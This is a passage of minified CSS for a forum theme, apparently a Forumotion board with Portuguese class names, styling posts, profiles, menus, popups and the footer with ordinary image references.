a.mainmenu{background:url(https://i.servimg.com/u/f18/18/45/41/65/nav10.png) 0 30px repeat-x;color:#39C;display:inline-block;font-family:"Trebuchet MS",Arial,Verdana,Sans-serif;font-size:12px;font-weight:700;height:30px;line-height:30px;padding:0 10px;transition:.2s}#fa_sticky_nav a.mainmenu.fa_navactif,#fa_sticky_nav a.mainmenu:hover{background-position:0 25px}#fa_sticky_toggle{background:url(https://i.servimg.com/u/f21/18/21/41/30/omnibo10.png) no-repeat #FAFAFA;border:1px solid #CCC;border-right:none;display:inline-block;height:29px;position:fixed;right:0;transition:top .2s linear;width:30px;z-index:999}#fa_sticky_nav a.mainmenu[href="/report"] img,.main-left ul.mini-screen,.main-right li:nth-child(n+5){display:none}#fa_sticky_toggle:hover{background-position:-30px 0}#fa_toolbar_hidden{border:1px solid #CCC;border-radius:0!important;border-right:0;border-top:0}.post div[style*="-30px;"]{top:-60px!important}#fa_ticker_container #fa_ticker .fa_ticker_content .fa-exclamation-triangle,#fa_ticker_container #fa_ticker .fa_ticker_content .fa-warning{color:#fff;font-size:20px}#fa_ticker_container #fa_ticker .fa_ticker_content{color:#fff!important;font-family:sans-serif;font-size:18px;font-weight:700;padding-top:7px;text-align:center;text-shadow:1px 1px 2px #26789f}#fa_ticker_container #fa_ticker .fa_ticker_content a{color:#fff!important;text-decoration:none}#fa_ticker_container #fa_ticker .fa_ticker_content a:hover{border-bottom:1px solid #fff}body{background-color:#E5E5E5;color:#555;counter-reset:chapter;font-size:10px}#wrap{background:#F2F2F2;background-clip:padding-box;border:1px solid rgba(0,0,0,.1);max-width:95%;padding:20px 5px 0}#main-content{padding:3px}.cards .card,.main-left,.main-right{box-sizing:border-box;font-family:sans-serif}.new,.qeel_title,.text_label{font-weight:700}.footer-title,.qeel_title,.text_label{text-transform:uppercase}.cards .card{color:#fff;float:left;font-size:22px;margin-top:10px;padding:20px 30px;width:31%}.cards .card.yellow-card{background-color:#e6ad1d;border-bottom:3px solid #c79616;margin-right:1.5%;text-shadow:0 0 1px #c79616}.cards .card.red-card{background-color:#E54732;border-bottom:3px solid #C62F1A;margin-left:1.5%;text-shadow:0 0 1px #C62F1A;width:32%}.cards .card.green-card{background-color:#71be47;border-bottom:3px solid #60a53a;margin-left:1.5%;text-shadow:0 0 1px #60a53a;width:32.5%}.cards .fa{font-size:37px;margin-right:15px}.main-left,.main-right{border:10px solid #369fcf;font-size:14px;line-height:25px;margin:20px 0 0;min-height:179px}.main-left{float:left;width:31%}.img-whois,.main-right{float:right}.main-left>h2,.main-right>h2{background-color:#369fcf;color:#fff!important;font-family:sans-serif;font-size:18px;margin:0;padding:0 14px 8px}.main-left ul,.main-right ul{padding:10px}ul.main-news{list-style:none!important;padding-left:10px!important}ul.fa-ul{margin-left:0;padding-left:30px!important}.main-right{width:66%}.main-left li:nth-child(2n+1),.main-right li:nth-child(2n+1){background-color:#f6f6f6}.main-news-time{box-sizing:border-box;color:#555;display:inline-block;float:right;font-size:.9em;padding-right:5px;text-align:right;width:25%}.main-news-title{display:inline-block;width:75%}.qeel_title{background:#e54732;color:#FFF;font-family:"Trebuchet MS",Arial,Verdana,Sans-serif;font-size:16px;padding:8px 15px}#fa_qeel .qeel_title:nth-child(n+3){background-color:#2e3133!important}.qeel_title a{color:#FFF}.qeel_section{background:#fafafa;color:#333;font-size:12px;line-height:1.5em;padding:15px}#online-box #fa_qeel{clear:both;margin:0 -5px}#fa_stats{background:#2E3133;color:#FFF;font-family:Arial,Verdana,Sans-serif;padding:15px 0;text-align:center}.stat_label,.stat_label a{color:#2E3133}.stat_label{background:#F2F2F2;border-radius:3px;display:inline-block;font-size:0;margin:0 12px 0 7.5%;padding:6px 12px}.stat_label strong,.text_label{font-size:14px}#page-footer,#page-footer a{color:#A3AAAE}.text_label{margin-right:7.5%}#footer-container,div#forum.footer-container{margin:0 auto;padding:0 15px;width:90%}#fa_groups{font-size:0}#fa_groups b,#fa_groups:before{font-size:11px;font-style:normal}#fa_groups:before{content:"Staff: "}#fa_groups b:after{content:", ";font-weight:400}#fa_groups b:last-child:after{content:""}.Administradores,.g_Administradores{background:#f60}#page-footer{background:#2E3133;clear:both;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:14px;margin-top:30px;min-width:960px;padding-bottom:60px;text-align:left}#page-footer a:hover{color:#CCD0D2}.footer-col{float:left;width:25%}.footer-title{display:block;font-family:"Trebuchet MS","Helvetica Neue",Helvetica,Arial,sans-serif;font-size:17px;margin:60px 0 25px}.footer-list{list-style:none;margin:0 0 10px;padding-left:0}.footer-list li{margin-bottom:10px}.footer-image{display:inline-block;text-align:center;width:25px}.footer-row hr{border:none;border-top:2px solid #FFF!important;margin:40px auto 0;width:100px}.footer-copyright{padding-top:20px;text-align:center}#footer_brand{display:block;margin:0 auto;width:230px}#footer_brand span{color:#FFF;display:inline-block;margin:10px}#footerBackToTop{position:relative}#footerBackToTop a{background:#3E4143;border-radius:30px;display:inline-block;height:30px;left:50%;margin-left:-15px;position:absolute;top:10px;width:30px}#footerBackToTop a:hover{background:#1E2123}#footerBackToTop a img{margin-top:9px}.defaultFooterLink a.small{color:#FF9!important}.content h1,.content h2,.content h3,.content h4,.h1,.h2,.h3,.h4,.h5,.h6,.panel h1,.panel h2,.panel h3,.panel h4,h1,h1.page-title,h2,h2.h3,h2.u,h3,h4,h5,h6{border-color:#39C;color:#39C}.forabg,.forumbg{background:#FAFAFA;border:1px solid #DDD;border-bottom-width:2px;border-radius:3px;margin-bottom:30px;overflow:hidden}.forabg ul,.forumbg ul{background:0 0}.forabg .header,.forumbg .header{background:#39c;border-bottom:solid 1px #dfdfdf;margin:-5px -5px 10px;padding:6px 3px 3px}.forabg .header dd,.forumbg .header dd{font-size:11px;font-weight:700}.forabg .header dt,.forabg .header h2,.forumbg .header .dterm,.forumbg .header dt{font-family:"Trebuchet MS",Arial,Verdana,Sans-serif;font-size:13px;font-weight:700;padding-left:6px!important}.forabg .header .dterm.full-size{width:100%}.forabg .header .dterm.full-size i.fa{float:right;padding-right:10px}.forabg .row,.forumbg .row{background:#F2F2F2;border:1px solid #EEE!important;border-radius:3px;margin-bottom:10px;margin-left:5px;margin-right:5px;position:relative}.forabg .row dd,.forumbg .row dd{border:none!important}.forabg a.forumtitle,.forumbg a.topictitle{color:#39C}a.forumtitle2{color:#39C;display:block;font-weight:700;margin:10px 0}.forumbg .row .lastpost{width:27%}dd.lastpost{width:22%}.lastpost-user-avatar{float:left;height:40px;margin-right:10px;width:40px}.lastpost-infos{margin-left:50px}a.lastpost-link{display:block;max-width:100%}li.row dl{background-position:3px 50%!important}li.header dd.dterm{width:52%}.topiclist.topics .row dl dd.dterm{box-sizing:border-box;padding-right:100px;width:56%}li dl.forum-icon,ul.topiclist.search dl{background-position:0 0!important;background-repeat:repeat-y}dl.forum-icon:before,ul.topiclist.search dl:before{color:#fff;content:'\f0e6';font-family:FontAwesome;font-size:18px;left:7px;position:absolute;top:36%}dl.forum-links:before{content:'\f0c1'!important}dl.forum-icon[style*=lock]:before,ul.topiclist.search dl[style*=lock]{content:'\f023';left:10px}dl.forum-icon[style*=note]:before,ul.topiclist.search dl[style*=note]{content:'\f024';left:7px}dl.forum-icon[style*=announce]:before,ul.topiclist.search dl[style*=announce]{content:'\f12a';left:13px}dl.forum-icon[style*=globale]:before,ul.topiclist.search dl[style*=globale]{content:'\f0ac';left:9px}ul.pmlist dl.forum-icon::before{top:27%}button.mp-button{background-color:#369fcf;border:0;border-radius:21px;color:#fff;cursor:pointer;font-size:18px;height:29px;text-align:center;width:29px}.pm-topic img{display:none}.dterm .span-tab{padding-left:4px}.row .dterm[style]{background-position:100% 55%}div.topic-title-container{display:inline-block;vertical-align:top}.desc-icon,.postprofile,.postprofile dd,.postprofile dd:last-child,.postprofile dt+dd{text-align:center}#fa_search_settings label,.outer .middle,div.post div.postbody .topic-title img{vertical-align:middle}.desc-icon{background-color:#369FCF;border-radius:69px;box-sizing:border-box;color:#fff;float:left;font-size:27px!important;height:50px;margin-left:5px;margin-right:15px;margin-top:-20px;padding:12px 0;width:50px}h2.forum-title,h3.hierarchy.forum-title{display:inline-block;margin-left:70px;margin-top:0}.forum-desc{margin-top:7px}.forabg.cat-suporte .desc-icon,.forabg.cat-suporte li.header{background-color:#e6ad1d}.forabg.cat-diversos .desc-icon,.forabg.cat-diversos li.header{background-color:#71be47}.forabg.cat-team .desc-icon,.forabg.cat-team li.header{background-color:#2E3133}div.post{background-color:#FAFAFA;border:1px solid #DDD;border-bottom-width:2px;border-radius:3px;margin:10px 0;padding:0}div.post .inner{border-top:12px solid #DDD;padding:0 10px}div.post div.postbody{margin-bottom:10px;margin-top:10px}div.post div.postbody .content{overflow:visible}div.post h2.topic-title>a{display:inline-block;max-width:50%;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}div#overlay,div#overlay-container{display:none}div.post ul.profile-icons{margin-right:20px;margin-top:0}.postbody .content.clearfix div{word-wrap:break-word}.attachbox{background-color:#eee;padding:10px 10px 0}.attachbox .i_icon_delete{vertical-align:middle;width:15px}.outer,div#overlay{height:100%;left:0;position:fixed;top:0;width:100%;z-index:999}.attachbox dt{font-size:.9em}.attachbox dl.file{border-top:1px solid #ddd;margin-top:3px;padding-top:4px}.post.search .postbody img,.postbody .content img{max-width:350px}.post.search .postbody img.resized,.postbody .content img.resized{cursor:zoom-in}div#overlay{background-color:#444;opacity:.6}.outer{display:table}.outer .middle{display:table-cell}.outer .middle .inner{margin-left:auto;margin-right:auto;text-align:center}#overlay-content i.fa-pulse{background-color:#fff;border-radius:35px;display:block;font-size:30px;margin:auto;padding:20px;width:30px}#overlay-content img{background-color:#eee;border-radius:3px;cursor:zoom-out;display:inline-block;margin:auto;padding:3px}#overlay-content>span::after{background-color:#333;border-radius:20px;box-sizing:border-box;color:#fff;content:"\f00d";cursor:pointer;display:inline-block;font-family:FontAwesome;font-size:17px;height:25px;margin-left:-10px;margin-top:-10px;padding-top:3px;position:absolute;width:25px}div.postprofile div.cadre_avatar img{max-width:150px}.postprofile{background:url(https://i.servimg.com/u/f18/18/45/41/65/row10.png) repeat-x #F6F6F6;border:1px solid #DDD;border-radius:3px;margin-bottom:10px;padding:60px 3px 3px;position:relative}.postprofile dd,.postprofile dt{margin:0}.postprofile dd{color:#333}.postprofile .label,.postprofile .label span{color:#39C!important}.postprofile dd span+img{display:inline-block;margin-top:10px}.postprofile dd:last-child img,.postprofile dt+dd img{display:inline-block}.profile-icons a[href*="/report?mode=lock"],.profile-icons a[href*="/report?mode=unlock"],.search.post .postprofile:after,.search.post .postprofile:before,form[action^="/privmsg"] .postprofile:after,form[action^="/privmsg"] .postprofile:before{display:none}#first-post-br,hr,hr.dashed{border-color:#DDD}#plus_menu{background:#FFF;border:1px solid #DDD;border-radius:3px;box-shadow:0 3px 9px rgba(0,0,0,.175);overflow:hidden;z-index:10!important}#plus_menu .title-overview{background:#39C;color:#FFF}.postprofile img{max-width:100%}.faq-off{table-layout:fixed!important}.faq-fin,.faq-off .faq-fa{width:0}table.forumline,table.table1{border:1px solid #DDD;border-radius:3px;border-spacing:0;overflow:hidden;padding:0}table.forumline tbody td.catHead,table.forumline tr:hover td.catHead,table.table1 tbody th,table.table1 thead{background:#39C}table.forumline tbody td.catHead a,table.table1 tbody th a,table.table1 thead th a{color:#FFF!important}table.forumline tbody td.catHead a:hover,table.table1 tbody th a:hover,table.table1 thead th a:hover{color:#333!important}table.forumline tbody td.catHead,table.table1 tbody th,table.table1 thead th{border:none!important;color:#FFF!important;padding:6px;text-align:left}table.forumline tbody tr,table.table1 tbody tr{background:#F2F2F2}table.forumline tbody tr:hover,table.table1 tbody tr:hover{background:#F7F7F7}table.forumline td,table.forumline th,table.table1 td{background:0 0;border-bottom:1px solid #DDD;border-right:1px solid #DDD;border-top:none!important}div.post .postprofile:after{background:#2E3133;border-bottom:4px solid #868686;content:".";font-size:0;height:16px;left:0;position:absolute;right:0;top:25px;z-index:1}div.post.online .postprofile:after{border-color:#84C754}div.post .postprofile:before{content:url(https://i.servimg.com/u/f18/16/89/96/68/offlin19.png);left:0;position:absolute;right:0;top:25px;z-index:2}div.post.online .postprofile:before{content:url(https://i.servimg.com/u/f18/16/89/96/68/online15.png)}.module .box-content .mod-login-avatar{float:none;text-align:center}#userAvatar,.avatar,.lastpost-avatar,.mod-login-avatar dt,td.avatar-mini img{background:#FFF;border-radius:100px;box-shadow:0 2px 3px rgba(0,0,0,.3),0 -1px 1px rgba(0,0,0,.3);display:inline-block;height:100px;margin:10px 0;overflow:hidden;padding:3px;width:100px}.friend-block{width:65px}.friend-block .avatar{margin:0 10px}.avatar,.avatar img{height:40px;width:40px}.lastpost-avatar{margin:0 5px 0 0;padding:0!important}.avatar,td.avatar-mini img{margin:0;padding:1px}.avatar{margin-top:2px!important}.avatar,.lastpost-avatar,td.avatar-mini img{border:1px solid #DDD;box-shadow:none}.lastpost-avatar,.lastpost-avatar img,td.avatar-mini img{height:36px;width:36px}#main-content>div.post.search .postprofile dt.author>a{background:0 0;border-radius:0;box-shadow:none;display:inline;height:0;margin:0;overflow:visible;padding:0;width:0}.module,.panel{background:#FAFAFA;border:1px solid #DDD;border-bottom-width:2px;border-radius:3px}.module .h3{background:#39C;color:#FFF;margin:0 -10px 10px;padding:6px 3px;text-align:center;text-transform:none}.panel div.mes-txt,.panel p{font-size:12px}.module .h3 span{color:#FFF!important}.module .box-content .mod-login{margin:0;width:100%}.module .box-content .mod-login dd strong{font-weight:400}.module .box-content .mod-login dt{color:#39C;font-weight:700;text-align:right}.module .box-content .mod-login dd,.module .box-content .mod-login dt{display:inline-block;width:50%}.module td{background:0 0}.module table[summary]{border-spacing:0}.module table[summary]>tbody>tr>td{border-bottom:1px solid #E2E2E2;padding:3px}#cp-main .panel.sig{background:0 0;border:none;box-shadow:none}dl.faq dd p{border-color:#CCC}div#left{margin-right:16px;margin-top:25px}.inputbox,input.bginput,input.post,input.tiny,select,textarea{background:#FFF;border:1px solid #CCC;border-radius:3px;color:#444;padding:3px}.inputbox:hover,input.bginput:hover,input.post:hover,input.tiny:hover,select:hover,textarea:hover{border-color:#39C}.inputbox:focus,input.bginput:focus,input.post:focus,input.tiny:focus,select:focus,textarea:focus{border-color:#333;outline:0}#profile-advanced-add a,a.button1,a.button2,button.button2,input.button,input.button1,input.button2{background:#39C;border:none;border-bottom:2px solid #17A;border-radius:3px;color:#FFF!important;display:inline-block;font-size:11px;font-weight:700;line-height:normal!important;margin:2px;padding:6px 9px!important;transition:.3s}#login_popup_buttons .button2,#profile-advanced-add a[href^="/profile?friend"]{background:#8B5;border-color:#693;text-align:center;width:182px}#profile-advanced-add a[href^="/profile?foe"]{background:#E53;border-color:#C31;text-align:center;width:182px}#profile-advanced-add a[href*=remove]{background:#EB3;border-color:#C91}#profile-advanced-add a:hover,a.button1:hover,a.button2:hover,button.button2:hover,input.button1:hover,input.button2:hover,input.button:hover{background:#333;border:none;border-bottom:2px solid #111;color:#FFF}#welcome_fdf{color:#fff;display:inline-block;float:left;font-family:sans-serif;font-size:15px;font-weight:700;padding-top:15px}#welcome_fdf>span{float:left;margin-right:10px;width:160px}#search-box #search input[type=submit]{background:url(https://i.imgur.com/rvy4kOU.png) 14px 10px/40% auto no-repeat #2E3133;border:0;border-radius:0 4px 4px 0;color:transparent!important;font-size:.1px;height:44px;margin-right:3px;position:relative;width:50px!important}#forum-search .inputbox,#search .inputbox,#search_menu .inputbox,.inputbox.desc_search_input{background:#FFF;border:1px solid #39C;border-radius:3px 0 0 3px;height:22px;margin-right:-2px;padding:3px}#search-box #keywords{font-family:Helvetica;font-size:15px;height:40px;padding:2px 10px;width:300px}#forum-search .inputbox,.inputbox.desc_search_input{margin-right:-6px}.desc_search_input{width:125px!important}.search-box{margin:-3px 0 0 10px}.desc-search{float:right;margin:0;opacity:0;transition:.3s;visibility:hidden;width:auto}.row:hover .desc-search{opacity:1;visibility:visible}#search_menu{background:#FFF;border:1px solid #DDD;border-radius:3px;box-shadow:0 6px 12px rgba(0,0,0,.175);font-size:10px;font-weight:400;overflow:hidden}#search_menu .title-overview{background:#39C;color:#FFF;font-weight:700;padding:10px}#search_menu input.medium{border-radius:3px;float:left;margin-bottom:10px;margin-top:8px;width:80%}#search_menu .button1{margin-bottom:10px;margin-left:10px;margin-top:8px}input#rposts{margin-left:5px}#search{position:relative}#fa_search_opts{background:url(https://i.servimg.com/u/f21/18/45/41/65/opts_m10.png) no-repeat;height:17px;position:absolute;right:35px;top:9px;width:16px}#fa_search_opts:hover{background-position:-16px 0}#fa_search_settings{background:#FFF;border:1px solid #DDD;border-radius:3px;box-shadow:0 3px 9px rgba(0,0,0,.175);color:#333;padding:3px;position:absolute;right:0;text-align:center;top:45px;width:175px;z-index:1}#fa_search_settings:before{content:url(https://i.servimg.com/u/f18/18/21/41/30/arrow11.png);position:absolute;right:32px;top:-10px}#fa_search_settings p{font-size:11px}#fa_search_settings label{cursor:pointer;padding:0 6px 0 3px}#tabs{background:#FFF;border:1px solid #DDD;border-bottom:none;border-radius:3px 3px 0 0;margin:20px 10px 0 7px;overflow:hidden}#tabs a span{color:#333;padding:0}#tabs .activetab a:hover span,#tabs a:hover span{color:#39C}#tabs a{background:url(https://i.servimg.com/u/f18/18/45/41/65/nav10.png) 0 28px repeat-x;border-right:1px solid #DDD;height:28px;line-height:28px;margin:0;padding:0 12px;transition:.2s}#tabs a:hover{background-color:transparent;background-position:0 25px}#tabs .activetab a span{color:#39C;padding:0}#tabs .activetab a{background-color:transparent;background-position:0 25px!important;cursor:default}#profile-advanced-layout #tabs #new-message-link{top:-35px}#profile-advanced-layout #tabs #new-message-link a{border:none;padding:0}#profile-tab-field-profil dl dt,#profile-tab-field-profil dl dt span,#ucp fieldset dl dt label,#ucp fieldset dt,#ucp fieldset dt span{color:#39C!important;font-weight:700}#ucp fieldset dl:hover dt,#ucp fieldset dl:hover dt label,#ucp fieldset dl:hover dt span{color:#333!important}#profile-advanced-details .message-header{background:0 0;border:none}#profile-advanced-details ol>li{background:#FFF;border:1px solid #DDD;border-bottom-width:2px;border-radius:3px;margin:10px 0;padding:6px}.row .pagination{background:rgba(0,0,0,0);display:inline-block;float:none;font-size:.8em;margin-left:15px;margin-top:0;padding:0}.pagination span{display:inline-block;margin:6px 0}.pagination span a,.pagination span a:link,.pagination span a:visited,.pagination span strong{background:#FFF;border:none;border-radius:3px;color:#000;padding:3px 6px;transition:.3s}.pagination span a:active,.pagination span a:focus,.pagination span a:hover,.pagination span strong{background-color:#39C;border-color:#39C;color:#FFF}.pagination a.pag-img{background:0 0!important;border:none!important;padding:0!important}form[name=go_page] .forumline{background-color:#FFF;border:1px solid #CCC;border-radius:3px;box-shadow:0 3px 9px rgba(0,0,0,.175)}form[name=go_page] .forumline td{background:#FFF!important;border:none;padding:3px}form[name=go_page] th{background:#39C;border:none;color:#FFF;padding:3px}.message-block .message-text blockquote,.message-block .message-text dl.codebox,.panel .content dl.codebox,.panel .postbody .content blockquote,.panel .table .row1 blockquote,.panel .table1 .row1 dl.codebox,.post .postbody .content blockquote,.post .postbody .content dl.codebox,.search .postbody blockquote,.search .postbody dl.codebox{background:#e7edf3 none repeat scroll 0 0;border:0 none;border-radius:3px;color:#7089a9;font-size:1.1em;line-height:1.7;margin:1em 25px 1em 1em;padding:7px 15px}.post .postbody .content blockquote div{margin-left:0}.post blockquote cite{font-size:0}.post blockquote cite a{font-size:14.3px}blockquote cite{display:inline-block;font-size:1em}blockquote cite a,blockquote cite span{background-color:#fff!important;border-radius:4px!important;color:#7089a9!important;margin-right:10px!important;padding:2px 7px!important}blockquote cite a:before,blockquote cite span:before{content:'\f10e';font-family:FontAwesome;font-weight:400;padding-right:6px}.codebox.spoiler blockquote,blockquote div blockquote{background-color:#fff!important;font-size:1em!important}.post .postbody .content a.mentiontag,.post .postbody .content a[href^="/u"][title*="perfil"],.search .postbody a.mentiontag,.search .postbody a[href^="/u"][title*="perfil"]{background-color:#d8ecf5;border-radius:4px;color:#2d8cbb;font-weight:600;padding:4px 5px}dl.codebox:not(.spoiler){background-color:#272822!important;padding-right:0!important;text-shadow:1px 1px 0 #1B1C18}dl.codebox code{color:#E6E1DC!important;font-family:"Ubuntu Mono", FontAwesome;font-size:12pt}dl.codebox:not(.spoiler) dt{display:none}dl.codebox.spoiler dt{border-bottom:0 none}dl.codebox.hidecode a,dl.codebox.hidecode a:hover{color:#fff}dl.codebox .fa.fa-clipboard{color:#fff;cursor:pointer;float:right;left:-35px;position:relative}#fa_toolbar{border-bottom:1px solid #CCC}#fa_icon{background-image:url(https://i.servimg.com/u/f21/18/21/41/30/pa1110.png)!important}#fa_service{color:#39c!important;font-family:sans-serif;font-size:16px;font-weight:700;text-transform:uppercase}#fa_right #fa_menu #fa_welcome,#fa_right #fa_notifications,#fa_right a.rightHeaderLink{background-color:transparent!important;border:1px solid #39C!important;border-radius:3px!important;color:#39C!important;font-size:11px!important;font-weight:700!important;line-height:22px!important;margin-top:3px!important;padding:0 6px!important;text-decoration:none!important;transition:200ms}#fa_welcome > img{height:16px}#fa_right #fa_menu #fa_welcome:hover,#fa_right #fa_notifications:hover,#fa_right a.rightHeaderLink:hover,#fa_right.welcome #fa_menu #fa_welcome,#fa_toolbar > #fa_right.notification > #fa_notifications{background-color:#39C!important;border-color:#39C!important;color:#FFF!important}#fa_right #fa_hide{background-color:transparent!important;border:none!important;margin-top:0!important;padding:0!important;transition:none!important}#fa_toolbar #fa_left #fa_service{text-decoration:none!important}#fa_share a{background:url(https://i.imgur.com/xZ2dciB.png) no-repeat 0 0 transparent!important;border-radius:25px;height:25px!important;margin:-2px 3px 0!important;width:25px!important}#fa_share_text{display:none}#fa_share a:after{background:transparent;border-radius:30px;content:".";display:block;font-size:0;height:35px;margin-left:-5px;margin-top:-5px;position:absolute;transition:250ms;width:35px;z-index:-1}#fa_share a:hover:after{height:25px;margin-left:0;margin-top:0;width:25px}a#fa_fb{background-position:-50px 0!important}a#fa_fb:hover{background-position:-75px 0!important}a#fa_twitter{background-position:0 0!important}a#fa_twitter:hover{background-position:-25px 0!important}a#fa_gp{background-position:-98px 0!important}a#fa_gp:hover{background-position:-123px 0!important}a#fa_mail{background-position:-150px 0!important}a#fa_mail:hover{background-position:-175px 0!important}a#fa_rss{background-position:-199px 0!important}a#fa_rss:hover{background-position:-224px 0!important}#fa_search{position:relative}#fa_search #fa_magnifier{background:url(https://i.servimg.com/u/f21/18/21/41/30/search10.png) no-repeat 50% 50% #39C!important;border:1px solid #39C;border-left:none;border-radius:0 3px 3px 0;height:22px!important;right:0;top:3px;width:22px!important}#fa_search #fa_textarea{background:#39C!important;border:1px solid #39C!important;border-radius:3px 0 0 3px!important;color:#39C!important;cursor:text;font-size:12px!important;height:16px!important;line-height:12px!important;margin-right:23px!important;padding:3px 0 3px 1px !important;transition:300ms;width:0!important}#fa_search #fa_textarea:focus,#fa_search #fa_textarea:hover,#fa_search:hover #fa_textarea{background:#FFF!important;color:#444!important;outline:none;padding:3px!important;width:150px!important}#fa_menulist,#fa_toolbar #fa_right #notif_list{background:#FFF!important;border:1px solid #DDD!important;border-radius:3px;box-shadow:0 6px 12px rgba(0,0,0,0.175);margin-top:18px!important}#fa_menulist:before,#fa_toolbar #fa_right #notif_list:before{content:url('https://i.servimg.com/u/f18/18/21/41/30/arrow11.png');position:absolute;right:10%;top:-10px}#fa_toolbar #fa_right #notif_list li.see_all{background:#39C!important}#fa_toolbar #live_notif .fa_notification{background:#FFF!important;border:1px solid #DDD;border-bottom-width:2px;border-radius:3px!important;box-shadow:0 3px 12px rgba(0,0,0,0.175);margin-top:5px;opacity:1!important}#fa_toolbar #live_notif .fa_notification .content{background-image:url(https://i.servimg.com/u/f18/16/89/96/68/notifi10.png)!important;color:#555!important}#fa_toolbar #live_notif .fa_notification a{color:#39C!important}#fa_toolbar #live_notif .fa_notification a:hover{color:#333!important}#notif_unread{color:#F93;font-weight:700}#fa_notifications:hover #notif_unread,#fa_toolbar > #fa_right.notification > #fa_notifications #notif_unread{color:#FFF}#fa_hide,#fa_show{background:url(https://i.servimg.com/u/f21/18/21/41/30/fa_arr10.png) no-repeat 0 0 transparent!important}#fa_hide:hover{background-position:-30px 0!important}#fa_show{background-position:-60px 0!important}#fa_show:hover{background-position:-90px 0!important}#i_msg_inbox,#i_msg_outbox,#i_msg_savebox,#i_msg_sentbox{background:url(https://i.servimg.com/u/f18/18/21/41/30/fa_inb10.png) no-repeat 0 0 transparent;height:40px;width:40px}#i_msg_inbox{background-position:0 0}#i_msg_inbox:hover,#privmsgs-menu > li:nth-child(1) > img,#privmsgs-menu > li:nth-child(1):hover img{background-position:-40px 0}#i_msg_sentbox{background-position:-80px 0}#i_msg_sentbox:hover,#privmsgs-menu > li:nth-child(2) > img,#privmsgs-menu > li:nth-child(2):hover img{background-position:-120px 0}#i_msg_outbox{background-position:-160px 0}#i_msg_outbox:hover,#privmsgs-menu > li:nth-child(3) > img,#privmsgs-menu > li:nth-child(3):hover img{background-position:-200px 0}#i_msg_savebox{background-position:-240px 0}#i_msg_savebox:hover,#privmsgs-menu > li:nth-child(4) > img,#privmsgs-menu > li:nth-child(4):hover img{background-position:-280px 0}.social-button{background-color:rgba(0,0,0,0.3);border-radius:3px;box-sizing:border-box;color:#fff!important;display:inline-block;font-size:17px;height:32px;margin:3px;padding:7px;text-align:center;transition:250ms background-color;width:32px}.social-button:hover{background-color:#000}#fa_share a#fa_fb:hover::after,.social-button.fb-but:hover{background-color:#3B5998}#fa_share a#fa_twitter:hover::after,.social-button.tw-but:hover{background-color:#5EA9DD}#fa_share a#fa_gp:hover::after,.social-button.gp-but:hover{background-color:#DD4B39}#fa_share a#fa_mail:hover::after,.social-button.pi-but:hover{background-color:#B00}.social-button.yt-but:hover{background-color:#E52C27}#fa_share a#fa_rss:hover::after,.social-button.rs-but:hover{background-color:#FAA21B}.sceditor-container{background-color:#FFF!important;border-color:#39c!important}.sceditor-container iframe,.sceditor-container textarea{background:url(https://i.imgur.com/6mNXkP7.png) no-repeat 50% 50% transparent!important}div.sceditor-toolbar{background-color:#39c!important;border-color:#39c!important}div.sceditor-group{background:#FFF!important;border:1px solid #DDD!important;overflow:hidden;padding:0!important}.sceditor-button{background:#FFF!important;border-radius:0!important;border-right:1px solid #DDD}div.sceditor-group > .sceditor-button:last-child{border:none}.hover,.sceditor-button.active,.sceditor-button:active,.sceditor-button:hover{background:#FFA!important;box-shadow:none!important}div.sceditor-dropdown .button{color:#444!important}#quick_reply #textarea_content{width:70%!important}#sce_smilies_body,#sceditor_smilies,#smiley-box,#smiley-box iframe,.sceditor-emoticon iframe,.smile-status-box,.smile-status-box iframe{background:none!important}#login_popup{background:#FFF;background-color:#e5f1f9;border:1px solid #DDD;border-radius:10px;box-shadow:1px 1px 40px #000;font-size:11px;overflow:hidden;padding-bottom:40px}#login_popup .h3{background:#39C;border:none;color:#FFF;margin:-6px -7px 10px;padding:6px 3px;text-align:center}#login_popup_buttons{left:6px}#login_popup_buttons .button2{float:right}#fa_popup_overlay{background-color:#333;bottom:0;left:0;opacity:.8;position:fixed;right:0;top:0}#fa_popup{background:#222;border-radius:3px;bottom:30px;box-shadow:0 3px 10px rgba(34,25,25,0.4);font-family:Verdana, Arial, Helvetica, sans-serif;font-size:10px;left:12%;overflow:hidden;padding:3px;position:fixed;right:12%;top:50px;width:auto}#fa_popup_content{border:1px solid #333;border-radius:3px;height:90%;overflow:auto;padding:3px}.fa_popup_title{border-bottom:1px solid #999;color:#999;font-family:"Trebuchet MS", Arial, Verdana, Sans-serif;font-size:12px;font-weight:700;margin:8px 0;padding-bottom:2px}a.fa_popup_button,input.fa_popup_button{background-color:#17A;border:none;border-bottom:2px solid #058;border-radius:3px;color:#FFF!important;cursor:pointer;display:inline-block;font-size:12px;font-weight:700;line-height:20px;padding:0 6px;text-decoration:none!important;text-indent:0;transition:300ms}input.fa_popup_close{background-color:#C31;border-color:#A10;min-width:25px;position:absolute;right:2px;top:2px}a.fa_popup_button:hover,input.fa_popup_button:hover{background-color:#666;border-color:#444}a.fa_popup_button:active,a.fa_popup_button:focus,input.fa_popup_button:focus{background-color:#C93;border-color:#A91;outline:none}.fa_popup_error{background:#966;border:1px solid #855;border-bottom-width:2px;border-radius:3px;color:#300;font-size:12px;margin:6px;padding:9px 6px}.fa_popup_friends{background:#444;border:1px solid #333;border-bottom-width:2px;border-radius:3px;display:inline-block;float:none;margin:3px;overflow:hidden;padding:3px}#fa_popup .add_success{color:#8B5}#fa_popup .deny_success{color:#E53}#fa_popup .add_failed{color:#EB5}.fa_popup_loading{color:#999;font-size:14px;font-weight:700;padding:25px;text-align:center}.fa_popup_more{clear:both;margin:3px;text-align:center}#fa_popup_content > td{display:block}#fa_popup.pun tbody.statused span.status{position:static}.fa-rols{margin-top:-30px!important}#fa_ticker_block{padding-top:12px;position:relative}#fa_ticker_block:before{left:10px;position:absolute;top:0}#fa_ticker_block .module{background:#369FCF;border:none;border-radius:0;box-shadow:none;color:#FFF;font-size:11px;margin:10px 0;padding:6px 0;position:relative}#fa_ticker_block .module a{color:#fff;text-decoration:none!important}#fa_ticker_block .module a:hover{color:#fff}.post.st-answer .inner{border-color:rgba(51,153,204,0.75)}.post.st-answer.admin .inner{border-color:#EF3333}.post.st-answer.modo .inner{border-color:#68b800}.post.st-answer.aida .inner{border-color:#F5AE42}.post.st-answer.crea .inner{border-color:#787DEA}.post.st-answer.revi .inner{border-color:#009FB9}.post.st-answer.dev .inner{border-color:#2E3133}.post.st-answer.topicit 